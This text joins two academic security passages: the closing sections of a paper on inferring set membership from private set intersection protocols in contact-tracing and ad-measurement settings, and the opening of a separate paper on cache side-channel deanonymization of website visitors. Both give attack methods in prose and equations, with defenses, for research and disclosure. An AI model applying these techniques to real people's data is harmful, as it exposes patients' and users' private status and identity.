in our feature-aware attack and the DFS passes early in the
attack fill the priority queue with more subtrees of small size.
These subtrees may contain fewer non-members but increase
the number of PSI-CA invocations to empty the queue.

5.2.2 Scenario 2: Measurement of ad conversion revenue

In this scenario, (i) the attacker invokes PSI-SUM many times
(i.e., 24 per day × 5 days), and (ii) the features used by the
attacker are not strongly correlated with the set bias.

According to Figure 4, our two attacks still outperform the
toy attack in terms of leakage speed and the number of the
target elements whose set membership is determined in the
given PSI-SUM invocations. Here, the toy attack even fails to
identify any set member if only a few target elements appeared
in the victim’s snapshot set at the beginning of the attack
(e.g., |X | ∈ {512,1024,2048} and β = 0.0032). In contrast,
our two attacks can still spot set members in this case. We
see from Table 5 that the number of obtained set members
roughly equals the number of the target elements in the initial
snapshot set. Since the victim’s set grows over time (Figure
2b), there is no false positive in the obtained set members
as expected. The above analysis shows that using our two
attacks, the attacker can cause a more severe set membership
leakage in this scenario.

In contrast to COVID-19 contact tracing, our two attacks
cause similar set membership leakage in this scenario. More
concretely, they have comparable leakage speed (Figure 4)
and almost the same accuracy (Table 5). These results are
due to the weak correlation between the used features and
the set bias. The demographic features provide little help in
this scenario since most ads are primarily based on personal
interest instead of demographic features. When only a few tar-
get elements are set members (e.g., |X | ∈ {512,1024,2048}
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Figure 5: Set membership leakage in the measurement of ad conversion lift, measured in # total and # members.

Table 6: # total breakdown at the end of the attack in the
measurement of ad conversion lift. T: toy attack, B: baseline
attack, K: feature-aware attack instantiated with k-means.

# TP # FP # TN # FN % initial TP

|X |= 512, β = β0 = 0.0070, ⌈β · |X |⌉= 4

T 0.3 (0.5) 0.0 (0.0) 29.2 (1.0) 0.5 (0.8) n/a
B 4.6 (0.7) 0.0 (0.0) 422.8 (81.7) 11.8 (4.1) 0.40 (0.20)
K 4.2 (1.1) 0.0 (0.0) 409.4 (101.7) 11.7 (4.4) 0.50 (0.25)

|X |= 1024, β = β0 = 0.0070, ⌈β · |X |⌉= 8

T 0.9 (0.7) 0.0 (0.0) 28.9 (0.7) 0.1 (0.4) n/a
B 4.5 (0.8) 0.0 (0.0) 423.6 (162.0) 14.0 (7.6) 0.38 (0.17)
K 4.8 (1.1) 0.0 (0.0) 377.5 (236.0) 13.1 (9.0) 0.41 (0.19)

|X |= 2048, β = β0 = 0.0070, ⌈β · |X |⌉= 15

T 1.1 (0.7) 0.0 (0.0) 28.7 (0.8) 0.2 (0.4) n/a
B 4.5 (0.7) 0.0 (0.0) 337.9 (153.9) 11.3 (8.2) 0.40 (0.23)
K 4.2 (1.2) 0.0 (0.0) 283.6 (186.7) 11.4 (7.5) 0.38 (0.24)

|X |= 512, β = 5β0 = 0.0351, ⌈β · |X |⌉= 18

T 1.5 (1.4) 0.0 (0.0) 28.2 (1.4) 0.3 (0.6) n/a
B 5.7 (0.6) 0.0 (0.0) 99.5 (36.9) 3.8 (3.5) 0.71 (0.26)
K 5.9 (0.9) 0.0 (0.0) 113.8 (73.1) 5.6 (5.8) 0.76 (0.17)

|X |= 512, β = 10β0 = 0.0702, ⌈β · |X |⌉= 36

T 2.7 (1.5) 0.0 (0.0) 26.8 (1.5) 0.5 (0.7) n/a
B 7.8 (1.8) 0.0 (0.0) 48.6 (16.7) 2.2 (2.5) 0.85 (0.12)
K 8.0 (1.7) 0.0 (0.0) 38.8 (16.1) 1.4 (1.2) 0.89 (0.09)

and β = 0.0032), Algorithm 3 cannot use the features to early
separate set members from others and place them at the tree
nodes of low depth. The higher the node depth, the lower
the leakage speed. The above discussion explains why the
feature-aware attack does not work better than the baseline
attack in the early stage.

However, the small number of set members also means
that the attacker can find so many members in the limited
number of PSI-SUM invocations. We find that the number
of the set members found by Algorithm 1 must be not less
than the initial number, i.e., ⌈β · |X |⌉. The reason is that (i)
there is no false positive for an increasing set of the victim,
(ii) the underestimation from Inequality 3 will not reduce the
current number of set members, and (iii) the number of found

set members equals the current number of set members by
the time Algorithm 1 terminates after sufficient invocations.
Certainly, some found set members may appear in a snapshot
set after the beginning of the attack rather than the initial one.
The above analysis is consistent with the results in Table 5.

5.2.3 Scenario 3: Measurement of ad conversion lift

This scenario has the following characteristics: (i) the attacker
can only invoke Private-ID a few times (i.e., 1 per day × 30
days), and (ii) the features used by the attacker is not strongly
correlated with the set bias. These characteristics are the most
unfavorable ones for set membership inference attacks.

Due to the limited number of Private-ID invocations, the
following phenomena are more apparent in Figure 5. First,
the number of non-members found in the feature-aware attack
can be less than that in the baseline attack. This phenomenon
is also observed in COVID-19 contact tracing. It happens in
this scenario since the attack is still in its early stage until
the last Private-ID invocation. In this stage, the number of
found non-members is less stable. Second, even if the attacker
chooses more target elements, the number of found set mem-
bers cannot be increased like the other scenarios. This is due
to the saturation of leakage speed for the same β. Third, our
attacks start to determine set membership later than the toy at-
tack. The reason is that our attacks require several invocations
to finish one DFS. However, this latency is short.

Even with the latency, our two attacks cause a more severe
set membership leakage than the toy attack in general (see
Figure 5 and Table 6). Here, we again find that the toy attack
fails to identify any set member like our attacks when the
proportion β is small. In this case, it is unlikely for the toy
attacker to choose at least one set member in the limited
Private-ID invocations. In contrast, this number is greater
than the tree height in our attacks. Therefore, the attacker can
finish at least one DFS pass and find a set member(s).

Similar to the other advertising scenario, the weak correla-
tion between the features and the set bias makes our attacks
have comparable performance in identifying set members.
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6 Discussion

6.1 Real-world Implications of Our Results

COVID-19 contact tracing. In essence, our set membership
inference attacks narrow the range of the tokens of infected
patients. For example, the probability that the attacker can
guess one set member in its set of target tokens is ⌈β · |X |⌉/|X |,
which is small. In contrast, our attacks significantly improve
this probability since the attacker can simply pick one of the
target elements diagnosed as set members (including true
positives and false positives). We can see this improvement
from Table 4. Moreover, the higher numbers of true positives
indicate that our attacks allow the attacker to guess more
tokens in the health authority’s set.

The attacker can misuse this advantage in guessing the
tokens of infected patients to identify these patients. Note
that the attack [14] that links tokens to their associated per-
sons is known in the token-based COVID-19 contact tracing
systems that do NOT hide intersecting tokens (e.g., Apple
and Google’s system [12]). This linkage attack collects per-
sonal tokens through mobile phones placed in some locations
and records (e.g., via cameras) the person(s) showing up at
the moment when each token was received. The attacker can
deduce some infected patients from this record and the re-
vealed tokens in the health authority’s set. Although Epione
and Catalic try to address the linkage attack by using PSI-CA
to reveal only the number of intersecting tokens, our attacks
show that the attacker’s advantage in guessing the tokens of
infected patients is still non-negligible. The linkage attack can
still work in the two augmented systems by using our attacks
as subroutines to get some tokens in the health authority’s set.
The attacker’s ability to identify any infected patient is dan-
gerous. It was reported that the patients had suffered severe
harassment [2, 3, 4, 5].

Measurement of ad conversion revenue. In this scenario,
our attacks can significantly narrow the range of ad clickers’
personal_ids from the following aspects. First, realistic ad
click-through rates (CTRs) [6] ensure that (i) a large propor-
tion of target personal_ids are unlikely to be in the victim’s
set at the beginning of the attack, and (ii) the change of this
set is unlikely to make some target elements that were not
originally set members appear in the victim’s set subsequently.
Second, the realistic number of protocol invocations allows
the attacker to find as many set members from its target el-
ements as there were at the beginning of the attack. For ex-
ample, there were 7 target elements in the victim’s set at the
beginning, and the attacker found 7.5 set members on average
by the end of the attack. Third, the found set members are
perfectly correct since the attacker can make the victim’s set
grow by setting a large time window. The above arguments
show that our attacks can infer member personal_ids with
very high precision and recall.

The attacker (i.e., the advertiser) can use the inferred mem-

ber personal_ids to deduce the interest of the persons asso-
ciated with these personal_ids. The reasons for this interest
disclosure are that (i) clicking the ad is a sign showing the
ad clicker’s interest in the advertised product [54], (ii) our at-
tacks infer some ad clickers’ personal_ids in this scenario,
and (iii) the advertiser can translate these personal_ids into
their associated persons. Although some ad clickers may end
up purchasing the product and thus implicitly agree to reveal
their interest to the advertiser, there are also those who have
clicked the ad but did not make a purchase. In this scenario,
most ad clickers fall into the latter category. From a privacy
perspective, the advertiser should never collect the interest of
these ad clickers since they have not given explicit consent
to the collection of their interest. This unauthorized interest
collection is known to be a cause of uncomfortable person-
alized recommendations [9]. When the advertised product is
privacy-sensitive (e.g., HIV home test kits), it is also a privacy
threat that the advertiser learns the interest of the persons who
did not even make a purchase.

Measurement of ad conversion lift. In this scenario, the
effect of our attacks on narrowing the range of ad viewers’
personal_ids is not as significant as its counterpart in the
previous scenario. The reason is that realistic ad view-through
rates (VTRs) [8] can cause a higher β and such a change
in the victim’s set that some non-member personal_ids at
the beginning of the attack will be included in the victim’s
set subsequently. However, the found set members are still
perfectly correct. In other words, our attacks can still infer
member personal_ids with very high precision.

In this scenario, the set membership leakage also allows
the attacker (i.e., advertiser) to infer the interest of the persons
associated with target personal_ids. Ideally, the advertiser
should not know which persons are associated with the target
personal_ids in the publisher’s set. The reason is that the
advertiser knows that the publisher categorized these persons
as interested in the ad and invited them to the A/B testing.
Thus, revealing whether a personal_id is in the publisher’s
set immediately leaks the associated person’s interest. How-
ever, our attacks show that the leakage of the personal_ids
in the publisher’s set does exist. Consequently, the advertiser
can covertly use the publisher to find the persons interested in
the ad and acquire some of them. This idea of inferring per-
sonal interest with the publisher’s help is similar to [54]. Here,
merely viewing the ad without purchasing does not mean that
the person allows the advertiser to know its personal inter-
est. Such persons should account for the vast majority of all
persons who have or would have seen the ad in the testing.

6.2 Possible Defenses

Here, we discuss the possible defenses from a technical per-
spective and the limitations.

Limiting the number of protocol invocations. A simple
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defense is to limit the number of protocol invocations, i.e., the
number of intersection sizes revealed to the attacker.

However, it is unclear how to properly choose the threshold
of this number. The choice of the threshold should depend on
(i) the target elements, (ii) the attacker’s background knowl-
edge, (iii) the allowed set membership leakage in the scenario,
(iv) the frequency of collaboration tasks in the scenario, and
(v) the number of protocol invocations per task. Although (iii),
(iv), and (v) can be estimated, the victim is unaware of (i) and
(ii). Thus, the victim can only use a heuristic threshold.

This defense cannot fully prevent set membership leak-
age unless the threshold is very small. Our evaluation in the
measurement of ad conversion lift confirms this conclusion.
The conclusion is also applied to the other two scenarios. In
most scenarios, allowing only a few protocol invocations will
harass the functionality of high-level systems.

Auditing intersection size. If the attacker launches a set
membership inference attack according to Algorithm 1, there
will be a size pattern in the sequence of revealed intersection
sizes. Therefore, the victim can detect our attacks by auditing
these intersection sizes to find out the pattern.

However, this defense faces some challenges. First, it is
non-trivial for intersection-size-revealing protocols to return
a precise intersection size to both entities while preserving the
provable security against a malicious attacker (e.g., see [61,
68]). Without the sequence of intersection sizes, the victim
cannot check the size pattern. Second, the attacker can make
malicious invocations intermittently and, in each invocation,
pad some elements whose set membership is known to skew
the intersection size. It is unclear whether this defense will
work if the attacker adopts the strategy.

Auditing the size of the attacker’s input table. In most
intersection-size-revealing protocols, the victim is allowed to
see the size of the attacker’s input table. In other words, the
victim learns how many elements are input by the attacker.
Since there is also a size pattern of the subsets used in Algo-
rithm 1, it seems possible for the victim to detect the attacks
by auditing the table size in each invocation.

Unfortunately, the attacker can easily bypass this de-
fense. Suppose that Algorithm 1 asks the attacker to input
{T1, ...,Tn} to the protocol in n invocations sequentially. To
hide the size pattern of these subsets, the attacker constructs
another n subsets {D1, ...,Dn} such that (i) these new subsets
are of the same size, (ii) each Di is derived from Ti by padding
Ti with |Di|− |Ti| dummy elements. These dummy elements
will appear in the victim’s set Y with negligible probability.
Thus, by inputting Di instead of Ti to the protocol, the attacker
can still learn |Ti∩Y |= |Di∩Y | while hiding the actual size
of Ti. Due to the security of intersection-size-revealing proto-
cols, the victim cannot tell whether there are dummy elements
in the attacker’s input table. Therefore, auditing the size of
the attacker’s table does not help.

Applying differential privacy. Differential Privacy (DP) [37,

39, 59] is a rigorous definition of privacy. It ensures that
whether a record is a part of a mechanism’s input does not
significantly affect the output distribution of the mechanism.
This significance is bounded by DP parameters (ε,δ). The
high-level intuition behind the DP-based defense is to add
noise to revealed intersection sizes. Such noisy intersection
sizes are expected to reduce the accuracy of our attacks.

This DP-based defense works as follows. Recall that, given
the attacker’s set X of target elements and the victim’s set Y ,
inferring the target elements’ set membership is equivalent to
reconstructing the intersection I := X ∩Y . This intersection
can be represented as a binary vector bin(I)∈ {0,1}|X |, where
bin(·) is a bijective mapping such that the i-th coordinate
of bin(I) is one if and only if xi ∈ Y . In Algorithm 1, the
intersection size between a counterfeit set Q⊆ X and the set
Y equals the inner product of bin(Q) and bin(I) since

|Q∩Y |= |(Q∩X)∩Y |= |Q∩ (X ∩Y )|
= |Q∩ I|= ⟨bin(Q),bin(I)⟩.

(5)

From the DP perspective, the attacker measures the binary
string bin(I) using the query bin(Q) in each protocol invoca-
tion. [27, 39, 48, 64] showed that, if the number of invocations
is limited (e.g., sublinear in |X |), adding small noise to the
inner products in Equation 5 can achieve differential privacy.

However, this defense has the following limitations. First,
the choice of DP parameters depends on the size |X |, which is
unknown until the first protocol invocation. In other words, the
two entities have difficulty in agreeing on how much additive
noise is needed to reach the desired degree of differential
privacy. Second, how to efficiently incorporate differential
privacy into the intersection-size-revealing protocols is still
an open problem. To date, no such protocol is known that can
be used to replace those vulnerable to our attacks. Third, even
if there is a differentially private alternative of the protocols,
this alternative can only distort the set membership of each
person rather than perfectly hiding it from the attacker. After
several protocol invocations, it is still probable for the attacker
to correctly infer the set membership of some persons. Future
work is required to explore the relationship between concrete
DP parameters and this probability.

6.3 Limitations

First, in our feature preprocessing (see Appendix B.2), the
symptoms of the persons who are not infected with COVID-19
at the beginning of attack are set to fever= 0 and cough= 0.
This preprocessing may distort the feature distribution of
recorded persons since even uninfected persons can have fever
or cough. However, such persons are expected to represent
a small fraction of all uninfected persons, unless there is a
concurrent epidemic of another disease that can cause these
symptoms. Thus, we believe that this distortion is mild and
will not significantly affect our results.
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Second, Tencent’s dataset was not collected from ad con-
version lift campaigns. However, we note that the distribution
of ad viewers in this dataset is similar to the distribution of
tested persons in the measurement of ad conversion lift. The
reason is that the tested persons are also qualified to see the
ad, like the ad viewers in Tencent’s dataset. Private-ID takes
as input all these persons regardless of whether they have
actually seen the ad (i.e., in the treatment group). In essence,
the two distributions are of the persons who are identified by
the publisher as being interested in the ad. Therefore, it makes
sense for us to use the distribution of ad viewers in Tencent’s
dataset as the distribution of tested persons. The analysis re-
sults of Tencent’s dataset are supposed to be consistent with
those in the measurement of ad conversion lift.

Third, this work considers, for each scenario, the data dis-
tribution under certain conditions (e.g., time span and data
source). Our results show how severe set membership leak-
age is under these data distributions. We stress that the set
membership leakage caused by our attacks changes with the
underlying data distribution in a scenario. When using our
attacks to quantify the set membership leakage in a given
scenario, one should take into account the current data distri-
bution, instead of simply applying our analysis results.

6.4 Revisiting Set Membership Leakage in
Intersection-size-revealing Protocols

We note that, in realistic scenarios, the set membership leak-
age from intersection-size-revealing protocols may be more
severe than that studied in this work. The reason is that the
leakage in this work is only resulted from intersection size
returned by these protocols. However, some of intersection-
size-revealing protocols reveal more information than this
size. Such additional information may help the attacker to
infer set membership more efficiently.

An example is PSI-SUM, which additionally aggregates the
values associated with the intersecting indices and reveals this
aggregate value. In PSI-SUM, the attacker can counterfeit
a table {(yi,vi)}yi∈Y,|Y |=n where the sequence (v1, ...,vn) is
superincreasing (i.e., vi+1 > ∑1≤ j≤i v j for 1≤ i < n). Given
the victim’s set Y , PSI-SUM reveals the intersection size
|{ki}i∩Y | and the following subset sum to the attacker

∑
1≤i≤n, ki∈Y

vi ≡ ∑
1≤i≤n

bi · vi (mod p), (6)

where p is a public large modulus and bi = 1 if and only
if ki ∈ Y . Inferring each ki’s set membership regarding the
victim’s set Y is equivalent to determining bi in Equation 6,
or rather, solving the subset sum problem. It is known in the
literature [60] that, when the sequence is superincreasing, the
attacker can easily solve this subset sum problem by locally
running a greedy algorithm. That is, the attacker can even infer
the set membership of all target elements with only ONE PSI-
SUM invocation, if n is small. If n is super-logarithmic in p so

that the aggregate value wrap out p, the attacker can instead
divide n elements into several bins and solve the problem for
each bin. In this way, the attacker can determine all elements’
set membership using at most n/ log p invocations.

Some other intersection-size-revealing protocols, such as
Private-ID or (not deployed) circuit-based Private Set Intersec-
tion [55], are combined with downstream secure computation
that additionally returns the statistics needed by high-level sys-
tems. It is left for future work to see whether the attacker can
use these statistics in conjunction with revealed intersection
size to cause more severe set membership leakage.

7 Related Work

Recall that, as shown in Equation 5, our attacks essentially
aim to reconstruct the binary representation bin(I) ∈ {0,1}|X |
of the intersection I at the beginning of attack. The works
most relevant to this work are those investigating how many
inner product responses are needed to reconstruct a binary
database D = (d1, ...,dn) ∈ {0,1}n. The first reconstruction
attack by Dinur and Nissim [32] showed that, if the noise
added to each response is o(

√
n), the database D can be ap-

proximately recovered from the noisy version of O(n log2 n)
responses ⟨Qi,D⟩, where the query Qi ∈ {0,1}n. Dwork et al.
[38] showed that the attacker can reconstruct almost the whole
database if there are O(n) noisy responses and at least 0.761
fraction of them are with o(

√
n) bounded noise. As noted in

[38], the reconstruction problem also has a connection with
compressed sensing [30, 33, 34], which aims to find possible
solutions to undetermined linear systems.

This work differs from the related ones in the following
aspects. First, our attacks use noise-free responses (aka inter-
section sizes) given by intersection-size-revealing protocols,
while the related works consider noisy ones from a differen-
tially private mechanism. Second, the intersection (aka the
vector of set membership bits) is recovered "bit-by-bit" in our
attacks. However, the attacker in the related works needs to
run a reconstruction algorithm after receiving all responses.
Third, and most importantly, this work use features correlated
with set bias to produce queries while the related works fo-
cus on random queries. We show that set bias, which is not
considered in the existing works, can improve reconstruction
efficiency. Fourth, the related works are of theoretical inter-
est and pay little attention to the database reconstruction in
realistic scenarios, especially when the database is dynamic.

8 Conclusion

This paper initiates the first study on the set membership
leakage in intersection-size-revealing protocols. This leakage
results from the intersection sizes revealed by these protocols.
We propose the baseline and feature-aware attacks to show
that the attacker can infer some target elements’ membership
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of the victim’s set. In particular, our feature-aware attack can
exploit set bias to aggravate the leakage.

In addition to the theoretical analysis, we evaluate our at-
tacks in three realistic scenarios: (i) COVID-19 contact trac-
ing, (ii) the measurement of ad conversion revenue, and (iii)
the measurement of ad conversion lift. The results show that
our two attacks can cause more severe leakage than a heuristic
attack in these scenarios. Notably, the feature-aware attack
outperforms the baseline attack in COVID-19 contact tracing
since there is a non-negligible bias in the victim’s set. We also
discuss the real-world implications of our results and some
possible defenses against our attacks.

Note that some intersection-size-revealing protocols (e.g.,
PSI-CA, PSI-SUM, and Private-ID) have attracted much atten-
tion from the industry and can be used in many collaborative
computation scenarios. This work is helpful in analyzing the
privacy issues raised by the protocols in their scenarios.
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A A Note on Facebook’s Private-ID

In the measurement of ad conversion lift, there is a subtle
issue in Facebook’s Private-ID protocol when the union of
the two parties’ sets is dynamic. The issue is that the assigned
tags for the t-th union cannot be reused for the (t+1)-th union.
Otherwise, it will trivially leak set membership.

Consider a counterexample where the (t +1)-th union has
only one more element x than the t-th union. If the tags of
the elements in the t-th union remain the same, and the two
parties only assign a fresh tag to x, the party holding x can
check whether x’s tag equals any old tag for the t-th union. If
so, x must be a member of the other party’s set. In contrast, if
they re-invoke Private-ID to assign fresh tags to all elements
in the (t +1)-th union, no set membership will be leaked.

This counterexample indicates that, if the union of the two
parties’ sets is dynamic (e.g., in the measurement of ad con-
version lift), Private-ID should be re-invoked for the current
two sets, and thus the attacker can learn an intersection size
from each Private-ID invocation.

B More Details about Experimental Setup

B.1 On the Choices of β

We choose the values of β for the following reasons. β = β0
corresponds to that, at the beginning of attack, the attacker
uniformly samples |X | target elements from the population
without replacement. The number Z of set members follows
the hypergeometric distribution

Pr[Z = k] =
(
|A|
k

)
·
(
|U |− |A|
|X |− k

)/(
|U |
|X |

)
, k = 0,1, ..., |X |,

and the expectation E(β) = E(Z)/|X |= |A|/|U |= β0.
However, in reality the attacker will choose its set of target

elements on purpose. Recall that the more elements in this set
are the members of the victim’s set, the more likely it is that
the attack will cause a severe leakage. Therefore, the attacker
is motivated to make its set contain as many members on
the victim’s set as possible. In COVID-19 contact tracing, it
can do this by deliberately collecting personal tokens from
epidemic areas, where its mobile phone is more likely to re-
ceive the tokens of COVID-19 patients. In the two advertising
scenarios, the advertiser can target its ad [15] to the areas
with higher click-through rates (CTRs) [6] or view-through
rates (VTRs) [8] and choose target personal_ids from these
areas. Since it is known that such rates vary from area to area
[15], the proportion β resulted from this strategy may have a
higher value than β0, which is based on the whole population.

Therefore, we recommend that the victim should consider
a conservative (or rather, larger) value of the proportion when
empirically evaluating the leakage of its set. This is to estimate
the worst-case set membership leakage. In our evaluation, we
also consider two such values, i.e., 5β0 and 10β0.

B.2 Feature Preprocessing
The main purpose of our feature preprocessing is to prevent
k-means, which was called at the beginning of attack, from
using the personal features that have not yet appeared at this
moment. In COVID-19 contact tracing, it is almost impossible
for the feature-aware attacker to know, on April 4, 2020, the
symptoms of patients who were diagnosed with COVID-19
in the future. Here, we assume that the interval between when
a person had COVID-19 symptoms and when it got test result
is negligible. Under this assumption, those diagnosed with
COVID-19 in the future are amended to have no symptom
(i.e., fever = 0 and cough = 0) at the beginning of attack.
For the two online advertising scenarios, we assume that the
considered features are fixed during attack. Thus, we do not
amend the features in the two datasets.

In addition to the above preprocessing, we encode personal
features using standard techniques.
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Abstract
Targeted deanonymization attacks let a malicious website
discover whether a website visitor bears a certain public
identifier, such as an email address or a Twitter handle.
These attacks were previously considered to rely on several
assumptions, limiting their practical impact. In this work, we
challenge these assumptions and show the attack surface for
deanonymization attacks is drastically larger than previously
considered. We achieve this by using the cache side channel for
our attack, instead of relying on cross-site leaks. This makes
our attack oblivious to recently proposed software-based
isolation mechanisms, including cross-origin resource policies
(CORP), cross-origin opener policies (COOP) and SameSite
cookie attribute. We evaluate our attacks on multiple hardware
microarchitectures, multiple operating systems and multiple
browser versions, including the highly-secure Tor Browser,
and demonstrate practical targeted deanonymization attacks
on major sites, including Google, Twitter, LinkedIn, TikTok,
Facebook, Instagram and Reddit. Our attack runs in less
than 3 seconds in most cases, and can be scaled to target an
exponentially large amount of users.

To stop these attacks, we present a full-featured defense
deployed as a browser extension. To minimize the risk to
vulnerable individuals, our defense is already available on the
Chrome and Firefox app stores. We have also responsibly
disclosed our findings to multiple tech vendors, as well as
to the Electronic Frontier Foundation. Finally, we provide
guidance to websites and browser vendors, as well as to users
who cannot install the extension.

1 Introduction

On the Internet, everybody knows it is better to stay anony-
mous. For some types of users, however, anonymity is far more
than a mere luxury, and losing it can have critical consequences.
Individuals who organize and participate in political protest,
who work as journalists reporting on inconvenient topics,
network with fellow members of their minority group, or even
purchase embarrassing or potentially incriminating personal
items, may risk their life and liberty if their identity becomes
known to malicious actors. Targeted deanonymization
attacks [1, 2] are an important class of attacks which threaten
user anonymity. These attacks assume an attacker who has
complete or partial control over some website, and is interested
in learning whether a specific target is browsing the website.
The attacker knows this target only through a public identifier,
such as an email address or a Twitter handle.

Leaky resources have been leveraged for this purpose [1, 3]:
An attacker uses a resource-sharing service such as YouTube,

Google Drive, or Dropbox to privately share a resource with
the target. Next, the attacker embeds this shared resource into
the attack website. Finally, the attacker checks if visitors to
the website can access this embedded resource – successful
access indicates that the current visitor is the intended target.
Although the Same-Origin Policy (SoP) should normally
prevent the attacker from learning this information, a family
of mechanisms known as cross-site leaks (XS-leaks) [2] were
found effective at bypassing the SoP and enabling this attack.

Whereas targeted deanonymization attacks based on
leaky resource attacks were shown to be both practical and
widespread, they make several limiting assumptions which
cause them to be far less effective in practice. First, and most
significantly, they assume the existence of a cross-site leak
that allows the attacker to discover whether the embedded
resource was loaded successfully. This is done by attaching
error handlers, or alternative media handlers, to the embedded
resource, and by checking whether they are triggered, or by
otherwise exploiting behaviors which bypass the SoP, such
as status code leaks, page content leaks, header leaks and
other similar approaches [4]. As discussed by Staicu et al. [1],
this behavior can be blocked through proper browser design,
as well as by proper coding practices on the side of sharing
websites. Second, leaky resource attacks commonly assume
that the sharing website allows its resources to be embedded
inside the attacker’s website. However, many websites do not
allow their content to be embedded in third-party websites, by
using the X-Frame-Options header or the more modern and
refined Cross-Origin-Resource-Policy header. A third
limitation is that leaky resource attacks rely on the browser’s
support for third-party cookies, since the attacker’s website
must embed a resource from the sharing website. While the
commonly-used Chrome browser exposes third-party cookies,
several modern browsers, including Safari and Tor, disable
third-party cookies for embedded resources. To get over these
limitations, the attacker is forced to load the sharing website
in a pop-up window, severely limiting the range of available
cross-site exploitation methods.

In this work, we overcome these limitations by replacing
cross-site leaks with browser-based side-channel attacks.
Side-channel attacks are attacks that analyze the physical
implementation artifacts of a system in order to gain an insight
into its secret internal state. Of particular interest to our
setting are microarchitectural cache attacks, which allow a
spy process to observe the memory access patterns of a victim
process over time, and use these access patterns to discover
secrets about the victim. As shown by Gülmezoglu et al. [5],
the combination of cache attacks and a deep learning-based
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machine learning pipeline lets an attacker effectively discover
which video a user is viewing, what application he or she
is running, and even which website he or she is currently
browsing to. The cache occupancy attack is a variant of
the standard cache attack, designed to work in settings with
limited hardware access and limited timer resolution. As
shown by Shusterman et al. [6,7], cache occupancy attacks are
highly effective for privacy attacks, in particular for website
fingerprinting, and can be mounted from within the browser
through the use of untrusted JavaScript code or CSS directives,
making them practical even in severely restricted settings.

By combining the side-channel technique with the blocking
technique of Watanabe et al. [8, 9], we show that the attack
surface of targeted deanonymization attacks is much larger
than initially thought. In particular, we uncover a set of practi-
cal and scalable attacks that can deanonymize users in several
important settings for which prior attack methods are not
effective. This includes websites which use secure embedding
methods or prevent embedding altogether, websites which
do not allow private sharing of content between users, and
browsers which block third-party cookies. Our attacks run
in practical time (less than 3 seconds in most cases), and can
be scaled to target an exponentially large amount of users.

More importantly, we provide a comprehensive coun-
termeasure against all of the attacks we discovered. This
countermeasure is already available on the Chrome and
Firefox extension stores, and can be downloaded and installed
immediately by concerned users [10, 11]. As part of our
responsible disclosure process, we have reached out to the
Electronic Frontier Foundation (EFF) and to multiple browser
vendors and service operators, and provided guidance on how
to install and use this countermeasure.

Our paper makes the following contributions:
• We introduce the concept of cache-based targeted

deanonymization attacks, and show how they overcome the
limitations of existing targeted deanonymization attacks,
while remaining within the same threat model (Section 3).

• We experimentally demonstrate practical end-to-end
attacks on a diverse set of targets, including desktop and
mobile systems with multiple CPU microarchitectures,
multiple browsers, and multiple highly popular websites.
In particular, we present an attack on the Tor Browser which
can scale to thousands of GMail users. (Section 4).

• We investigate the root cause of the attack, and show
that it is caused both by a client-side and a server-side
side channel working in concert. We show that generic
countermeasures, such as adding random cache noise, are
not effective against the attack. We design Leakuidator+,
an open-source browser extension which successfully
blocks the attack (Section 5).

• Finally, we discuss the ethical and practical implications
of our findings, describe our responsible disclosure process,
and provide guidance to users who may not be able to install
the browser extension (Section 7).

1.1 Attacker Model

We assume the existence of one or more victims, which
are of interest to some adversary. The adversary has some
public information about the victims, for example, their
Twitter handle or their email address. We also assume that the
adversary has partial control over a website that the victims
browse, and can inject JavaScript code into this website. The
objective of the adversary is to discover whether the user
currently browsing the attacker-controlled website is one
of the victims. We note that the adversary does not need
to control the resource-sharing service that is leveraged to
execute the attack, only to be registered as a user of the service.

Motivating examples. Consider a state-sponsored adversary
who has purchased, at great expense, a zero-day exploit, which
it wishes to install on the computer of a journalist with a well-
known Twitter handle. The adversary has also compelled a lo-
cal website to include code that can install this exploit. If this ex-
ploit were to be installed on many devices, however, this would
increase the risk of the exploit being detected by white-hat se-
curity researchers. Therefore, the state adversary wishes to first
verify, using the well-known Twitter handle, that the user cur-
rently connecting to the website is the target journalist, and only
then to deploy its exploit. As another example, consider the
case where a law enforcement agency has covertly taken con-
trol of an underground extremist forum. The agency wishes to
identify the users of this forum, but these users use pseudonyms
to connect to the forum. The agency, however, has also gath-
ered a list of Facebook accounts who are suspected to be users
of this forum. The law enforcement agency would like to cross-
reference the pseudonyms with this list of potential suspects.

2 Background

2.1 Leaky Resource Attacks

Leaky resource attacks [1–4, 8] are targeted privacy attacks,
which can uniquely identify an individual browsing an
attacker-controlled webpage. These attacks leverage a media
resource (e.g., an image, video, or audio file) hosted by a
resource-sharing service. They assume that (1) the service
relies on cookies for user authentication, (2) users of this
service can either privately share resources with other users,
or block other users of the service, and (3) shared resources
can be referenced via a canonical URL. This URL is called
a state-dependent URL (SD-URL), since the site’s response
to a request for this URL depends on the user’s identity.

The attack consists of two phases. In the setup phase, the
attacker uploads a resource to the service, and then binds it
to the victim’s identity. There are two approaches to perform
this binding. In the sharing-based approach [1], the attacker
privately shares the resource with the target (e.g., by using
the victim’s email address or user ID with the service). In the
blocking-based approach [8], the attacker makes the resource
public, and then blocks the target from viewing any resources
owned by the attacker. Next, the attacker embeds an SD-URL
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for this resource into an attacker-controlled webpage.

In the execution phase (Fig. 1), the attacker causes the target
to visit this page (steps 1 and 2). As the target’s browser renders
the page, it makes a cross-site request for the embedded
resource to the sharing service (steps 3 and 4), passing the
user’s authentication cookies. The response of the sharing
website to this request depends on the target’s identity. With
the sharing-based approach, the response to this cross-site
request contains the shared resource if the user is the target, and
an error otherwise (step 5). With the blocking-based approach,
the opposite happens – the response contains an error for the
blocked target, and the shared resource for other users.

In the final step of the leaky resource attack, the attacker
needs to discover whether the shared resource was loaded. The
Same-Origin policy prevents the attacker from directly reading
out the cross-origin response. The attacker can, however,
bypass this policy using a cross-site leak (XS-leak) [2] to learn
information about the response (step 6). Prior work [1] showed
that different events were triggered when loading an SD-URL,
allowing for a simple XS-leak. For example, when loading
an image, the JavaScript onload callback is triggered if the
image was loaded successfully, and the onerror callback is
triggered otherwise. More subtle XS-leaks, uncovered through
systematic analysis of websites and browser APIs [2, 4],
include cross-origin communication between Window objects,
the Performance API, and others. There are also script-less
XS-leaks, that do not rely on JavaScript and instead used
HTML tags that permit to load fallback content in case the
primary content fails to load [1, 3].

Many services were shown to enable leaky resource
attacks, including generic storage sites, media sharing sites,
code-hosting repositories and social media sites. We note
that it is quite common for users to remain logged into such
services for extended periods of time.

Mitigations. The main weakness of leaky resource attacks
lies in the final step, in which the attacker uses an XS-leak
to discover whether the shared resource was loaded. Guided
by recent academic research in the field, browser vendors are
limiting the ability of websites to access and exploit XS-leaks,
and sharing websites are redesigning their websites to reduce
